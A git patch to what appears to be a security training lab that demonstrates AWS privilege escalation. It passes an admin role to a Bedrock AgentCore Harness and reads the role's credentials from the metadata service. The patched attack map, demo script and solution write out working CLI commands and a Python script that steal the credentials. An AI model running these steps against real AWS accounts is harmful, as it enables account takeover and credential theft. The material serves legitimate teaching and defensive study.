From f5eb8342265b89a5b96a4ebb349c8a949989d2f1 Mon Sep 17 00:00:00 2001 From: MrCloudSec Date: Fri, 28 Aug 2026 11:50:09 -0400 Subject: [PATCH] fix(bedrock-005): remove memory permissions and align docs with the working demo --- .../README.md | 8 ++- .../attack_map.yaml | 60 +++++++++++------- .../demo_attack.sh | 17 ++++- .../main.tf | 9 +-- .../scenario.yaml | 2 + .../solution.md | 63 ++++++++++++------- 6 files changed, 101 insertions(+), 58 deletions(-) diff --git a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/README.md b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/README.md index 747f5a0f..a1ba38c4 100644 --- a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/README.md +++ b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/README.md @@ -33,7 +33,8 @@ Your objective is to learn how to exploit a privilege escalation vulnerability t - `bedrock-agentcore:CreateAgentRuntime` on `*` -- required internally by CreateHarness to provision the underlying Runtime - `bedrock-agentcore:CreateAgentRuntimeEndpoint` on `*` -- required internally by CreateHarness to create an endpoint for the underlying Runtime - `bedrock-agentcore:CreateWorkloadIdentity` on `*` -- required internally by CreateHarness to create the workload identity associated with the Runtime -- `bedrock-agentcore:GetAgentRuntime` on `*` -- poll the status of the underlying Runtime and confirm it reached READY state before invoking a command +- `bedrock-agentcore:GetAgentRuntime` on `*` -- required internally by CreateHarness to resolve the Runtime it provisions +- `bedrock-agentcore:GetHarness` on `*` -- poll the status of the Harness and confirm it reached READY state before invoking a command - `bedrock-agentcore:InvokeAgentRuntimeCommand` on `*` -- execute a shell command inside the Harness's Firecracker MicroVM as root **Helpful** (`pl-prod-bedrock-005-to-admin-starting-user`): @@ -49,6 +50,7 @@ Your objective is to learn how to exploit a privilege escalation vulnerability t brew install pathfinding-labs/tap/plabs ``` 2. Configure your AWS profiles in `~/.plabs/plabs.yaml` (or run `plabs init` if you haven't already) +3. AWS CLI v2.35.7 or newer, which is the first release able to disable harness memory on `create-harness` ### Deploy with plabs non-interactive @@ -89,8 +91,8 @@ The script will: 1. Display a step-by-step walkthrough with color-coded output 2. Retrieve starting user credentials from Terraform outputs 3. Create an AgentCore Harness passing the privileged target role as the execution role and specifying a foundation model ID -4. Extract the underlying Runtime ID from the CreateHarness response -5. Wait for the underlying Runtime to reach READY state by polling GetAgentRuntime +4. Extract the Harness ARN and Harness ID from the CreateHarness response +5. Wait for the Harness to reach READY state by polling GetHarness 6. Invoke a shell command inside the Harness MicroVM that reads MMDS credentials at 169.254.169.254 7. Extract AccessKeyId, SecretAccessKey, and Token from the MMDS response 8. Verify successful privilege escalation with `sts:GetCallerIdentity` diff --git a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/attack_map.yaml b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/attack_map.yaml index 83e39669..f4f8f6ed 100644 --- a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/attack_map.yaml +++ b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/attack_map.yaml @@ -79,9 +79,11 @@ attackMap: The iam:PassRole permission authorizes handing the privileged role to the new Harness. CreateHarness internally calls CreateAgentRuntime, CreateAgentRuntimeEndpoint, and CreateWorkloadIdentity to fully provision the underlying Runtime; all three permissions - must be present in the attacker's policy set for the API call to succeed. The response - includes the underlying agentRuntimeId. The attacker then polls GetAgentRuntime with - that runtime ID until the status reaches READY -- typically 1-3 minutes. + must be present in the attacker's policy set for the API call to succeed. Memory is + disabled on the call because the attack never uses the managed agent loop. The response + nests the new harness under a harness key carrying its arn and harnessId. The attacker + then polls GetHarness with that harness ID until the status reaches READY -- typically + 1-3 minutes. commands: - description: "Get account ID and build the target role ARN" command: | @@ -91,35 +93,36 @@ attackMap: command: | HARNESS_RESPONSE=$(aws bedrock-agentcore-control create-harness \ --region us-east-1 \ - --name bedrock-005-privesc-harness \ + --harness-name bedrock-005-privesc-harness \ --execution-role-arn "$TARGET_ROLE_ARN" \ - --model-id "amazon.nova-lite-v1:0") - HARNESS_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.harnessId') - RUNTIME_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.agentRuntimeId') + --model '{"bedrockModelConfig":{"modelId":"amazon.nova-micro-v1:0"}}' \ + --memory '{"disabled":{}}') + HARNESS_ARN=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.arn') + HARNESS_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.harnessId') + echo "Harness ARN: $HARNESS_ARN" echo "Harness ID: $HARNESS_ID" - echo "Runtime ID: $RUNTIME_ID" - - description: "Poll until the underlying Runtime reaches READY state" + - description: "Poll until the Harness reaches READY state" command: | while true; do - STATUS=$(aws bedrock-agentcore-control get-agent-runtime \ + STATUS=$(aws bedrock-agentcore-control get-harness \ --region us-east-1 \ - --agent-runtime-id "$RUNTIME_ID" \ - --query 'status' --output text) + --harness-id "$HARNESS_ID" \ + --query 'harness.status' --output text) echo "Status: $STATUS" [ "$STATUS" = "READY" ] && break sleep 15 done hints: - "CreateHarness is the Harness-specific equivalent of CreateAgentRuntime -- it wires a foundation model and managed agent layer on top of an underlying Runtime. You do not need a container image; specify a model ID instead. The executionRoleArn is the key field that makes this a privilege escalation." - - "After CreateHarness returns, extract the agentRuntimeId from the response and poll GetAgentRuntime until status reaches READY before calling InvokeAgentRuntimeCommand. Initialization typically takes 1-3 minutes." + - "After CreateHarness returns, extract .harness.arn and .harness.harnessId from the response and poll GetHarness until status reaches READY before calling InvokeAgentRuntimeCommand. Initialization typically takes 1-3 minutes." - "Browse to https://pathfinding.cloud/paths/bedrock-005 for technique details." - from: agentcore-harness to: target-role label: "bedrock-agentcore:InvokeAgentRuntimeCommand" description: > - With the underlying Runtime in READY state, the attacker calls InvokeAgentRuntimeCommand - using the Runtime ID (not the Harness ID) with a bash command that reads temporary + With the Harness in READY state, the attacker calls InvokeAgentRuntimeCommand with the + harness ARN as the agentRuntimeArn and a bash command that reads temporary credentials from MMDS. The command requests an IMDSv2 token, then uses it to fetch the execution role name from the MMDS security-credentials path, and finally retrieves the full credential JSON (AccessKeyId, SecretAccessKey, Token) for the target admin @@ -129,12 +132,27 @@ attackMap: commands: - description: "Invoke a shell command to read MMDS credentials from the Harness MicroVM" command: | - CREDS=$(aws bedrock-agentcore invoke-agent-runtime-command \ - --region us-east-1 \ - --agent-runtime-id "$RUNTIME_ID" \ - --command 'TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60"); ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/); curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE' \ - --query 'output' \ - --output text) + cat > read_mmds.py <<'EOF' + import boto3, sys, uuid + + BASH_COMMAND = """bash -c ' + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") + ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE + '""" + + client = boto3.client("bedrock-agentcore", region_name="us-east-1") + response = client.invoke_agent_runtime_command( + agentRuntimeArn=sys.argv[1], + runtimeSessionId=str(uuid.uuid4()), + body={"command": BASH_COMMAND, "timeout": 30}, + ) + for event in response["stream"]: + chunk = event.get("chunk", {}) + if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]: + print(chunk["contentDelta"]["stdout"], end="") + EOF + CREDS=$(python3 read_mmds.py "$HARNESS_ARN") echo "$CREDS" - description: "Export the extracted credentials" command: | diff --git a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/demo_attack.sh b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/demo_attack.sh index 24a8ff83..cf464362 100755 --- a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/demo_attack.sh +++ b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/demo_attack.sh @@ -189,6 +189,19 @@ if [ $? -ne 0 ]; then exit 1 fi echo -e "${GREEN}✓ boto3 is installed (botocore ${BOTOCORE_VERSION})${NC}" + +# The AgentCore Harness control plane APIs reached the AWS CLI in v2.34.35, and the +# memory "disabled" option this scenario passes to create-harness reached it in v2.35.7. +# The skeleton lists the members of the memory union, so it doubles as a capability +# probe: it runs locally, calls no API and covers both the missing-operation case and +# the older-model case, which otherwise fails with an opaque parameter validation error. +AWSCLI_VERSION=$(aws --version 2>&1 | awk '{print $1}' | cut -d/ -f2) +if ! aws bedrock-agentcore-control create-harness --generate-cli-skeleton 2>/dev/null | grep -q '"disabled"'; then + echo -e "${RED}Error: AWS CLI ${AWSCLI_VERSION} cannot disable harness memory (need >= 2.35.7)${NC}" + echo "Please upgrade: https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html" + exit 1 +fi +echo -e "${GREEN}✓ AWS CLI supports disabling harness memory (${AWSCLI_VERSION})${NC}" echo "" # [EXPLOIT] Step 3: Configure AWS credentials with starting user and verify identity @@ -243,7 +256,7 @@ echo "available via MMDS at 169.254.169.254. InvokeAgentRuntimeCommand can then echo "bash inside the MicroVM and read those credentials without ever invoking the model." echo "" -show_attack_cmd "Attacker" "aws bedrock-agentcore-control create-harness --region $AWS_REGION --harness-name $HARNESS_NAME --execution-role-arn $TARGET_ROLE_ARN --model '{\"bedrockModelConfig\":{\"modelId\":\"$MODEL_ID\"}}'" +show_attack_cmd "Attacker" "aws bedrock-agentcore-control create-harness --region $AWS_REGION --harness-name $HARNESS_NAME --execution-role-arn $TARGET_ROLE_ARN --model '{\"bedrockModelConfig\":{\"modelId\":\"$MODEL_ID\"}}' --memory '{\"disabled\":{}}'" # Set HARNESS_ARN sentinel before the API call so the trap fires even if the script is # killed between the call succeeding and our response-parsing code running. @@ -304,7 +317,7 @@ use_starting_creds export AWS_REGION=$AWS_REGION while [ $ELAPSED -lt $MAX_WAIT ]; do - show_cmd "Attacker" "aws bedrock-agentcore-control get-harness --harness-id $HARNESS_ID --region $AWS_REGION --query 'status' --output text" + show_cmd "Attacker" "aws bedrock-agentcore-control get-harness --harness-id $HARNESS_ID --region $AWS_REGION --query 'harness.status' --output text" RUNTIME_STATUS=$(aws bedrock-agentcore-control get-harness \ --harness-id "$HARNESS_ID" \ --region "$AWS_REGION" \ diff --git a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/main.tf b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/main.tf index 224f0112..93b7334f 100644 --- a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/main.tf +++ b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/main.tf @@ -92,18 +92,11 @@ resource "aws_iam_user_policy" "starting_user_policy" { Effect = "Allow" Action = [ # CreateHarness is the top-level API; AWS internally sequences the - # sub-calls below to provision the Runtime infrastructure and memory. + # sub-calls below to provision the Runtime infrastructure. "bedrock-agentcore:CreateHarness", "bedrock-agentcore:CreateAgentRuntime", "bedrock-agentcore:CreateAgentRuntimeEndpoint", "bedrock-agentcore:CreateWorkloadIdentity", - # CreateMemory and GetMemory are required even though this scenario - # disables memory via `--memory '{"disabled":{}}'` on CreateHarness - # (that flag IS exposed by the CLI/API, not console-only). AWS's own - # IAM permissions table for CreateHarness lists CreateMemory as - # unconditionally required regardless of the memory mode requested. - "bedrock-agentcore:CreateMemory", - "bedrock-agentcore:GetMemory", # GetAgentRuntime and GetHarness are called internally by CreateHarness # to poll the underlying runtime it provisions, and by the demo to wait # until the harness reaches READY before invoking it. diff --git a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/scenario.yaml b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/scenario.yaml index 515b9a2c..814ceba0 100644 --- a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/scenario.yaml +++ b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/scenario.yaml @@ -60,6 +60,8 @@ permissions: resource: "*" - permission: "bedrock-agentcore:GetAgentRuntime" resource: "*" + - permission: "bedrock-agentcore:GetHarness" + resource: "*" - permission: "bedrock-agentcore:InvokeAgentRuntimeCommand" resource: "*" diff --git a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/solution.md b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/solution.md index 7595b404..5ccd1364 100644 --- a/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/solution.md +++ b/modules/scenarios/single-account/privesc-one-hop/to-admin/bedrock-005-iam-passrole+bedrockagentcore-createharness/solution.md @@ -75,7 +75,7 @@ The attack has three steps: create the Harness with the privileged execution rol ### Step 1: Create the AgentCore Harness with the Privileged Role -Create the Harness using your starting user credentials. The `executionRoleArn` is what makes this attack work — you are passing the target admin role to the Harness, and `iam:PassRole` is what authorizes this. No container image is needed: +Create the Harness using your starting user credentials. The `executionRoleArn` is what makes this attack work — you are passing the target admin role to the Harness, and `iam:PassRole` is what authorizes this. No container image is needed, and memory is disabled because the attack never uses the managed agent loop: ```bash HARNESS_RESPONSE=$(aws bedrock-agentcore-control create-harness \ @@ -83,32 +83,29 @@ HARNESS_RESPONSE=$(aws bedrock-agentcore-control create-harness \ --harness-name bedrock-005-privesc-harness \ --execution-role-arn "$TARGET_ROLE_ARN" \ --model "{\"bedrockModelConfig\":{\"modelId\":\"amazon.nova-micro-v1:0\"}}" \ + --memory '{"disabled":{}}' \ --output json) - -HARNESS_ARN=$(echo "$HARNESS_RESPONSE" | jq -r '.harnessArn') -echo "Harness ARN: $HARNESS_ARN" ``` -The `harnessArn` contains the underlying runtime ID embedded in its path: -`arn:aws:bedrock-agentcore:::runtime//harness/` - -Extract the runtime ID for polling: +The response nests the harness under a `harness` key. Keep both the ARN and the ID: the ARN is what you invoke, the ID is what you poll. ```bash -RUNTIME_ID=$(echo "$HARNESS_ARN" | sed 's|.*/runtime/\([^/]*\)/harness/.*|\1|') -echo "Runtime ID: $RUNTIME_ID" +HARNESS_ARN=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.arn') +HARNESS_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.harnessId') +echo "Harness ARN: $HARNESS_ARN" +echo "Harness ID : $HARNESS_ID" ``` ### Step 2: Wait for READY State -The Harness provisions an underlying Runtime that needs 2–5 minutes to initialize. Poll `GetAgentRuntime` until the status reaches `READY`: +The Harness provisions an underlying Runtime that needs 2–5 minutes to initialize. Poll `GetHarness` until the status reaches `READY`: ```bash while true; do - STATUS=$(aws bedrock-agentcore-control get-agent-runtime \ + STATUS=$(aws bedrock-agentcore-control get-harness \ --region us-east-1 \ - --agent-runtime-id "$RUNTIME_ID" \ - --query 'status' --output text) + --harness-id "$HARNESS_ID" \ + --query 'harness.status' --output text) echo "Status: $STATUS" [ "$STATUS" = "READY" ] && break sleep 15 @@ -119,20 +116,38 @@ Once you see `READY`, the MicroVM is running and MMDS is serving credentials for ### Step 3: Invoke a Shell Command to Steal MMDS Credentials -Call `InvokeAgentRuntimeCommand` with a bash one-liner that reads temporary credentials from MMDS. The Harness ARN can be used directly as the `agentRuntimeArn` — it routes the command into the underlying Runtime's MicroVM. The flow mirrors EC2 IMDSv2: first request a session token with a PUT, then use it to fetch the role name and the credential JSON: +Call `InvokeAgentRuntimeCommand` with a bash command that reads temporary credentials from MMDS. The Harness ARN can be used directly as the `agentRuntimeArn` — it routes the command into the underlying Runtime's MicroVM. The flow mirrors EC2 IMDSv2: first request a session token with a PUT, then use it to fetch the role name and the credential JSON. The response is an event stream, so read it with the SDK and reassemble the `stdout` content deltas. Save this as `read_mmds.py`: -```bash -TARGET_ROLE_SHORT=$(basename "$TARGET_ROLE_ARN") +```python +import boto3, sys, uuid -CREDS=$(aws bedrock-agentcore invoke-agent-runtime-command \ - --region us-east-1 \ - --agent-runtime-arn "$HARNESS_ARN" \ - --command bash \ - --command-arguments '["-c", "TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\"); curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/'"$TARGET_ROLE_SHORT"'"]' \ - --output json) +BASH_COMMAND = """bash -c ' +TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") +ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE +'""" + +client = boto3.client("bedrock-agentcore", region_name="us-east-1") +response = client.invoke_agent_runtime_command( + agentRuntimeArn=sys.argv[1], + runtimeSessionId=str(uuid.uuid4()), + body={"command": BASH_COMMAND, "timeout": 30}, +) + +for event in response["stream"]: + chunk = event.get("chunk", {}) + if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]: + print(chunk["contentDelta"]["stdout"], end="") +``` + +Run it with the Harness ARN: + +```bash +CREDS=$(python3 read_mmds.py "$HARNESS_ARN") +echo "$CREDS" ``` -The response is a streaming JSON object. Parse the `stdout` content delta chunks to reassemble the credentials JSON: +It prints the credentials JSON for the target admin role: ```json {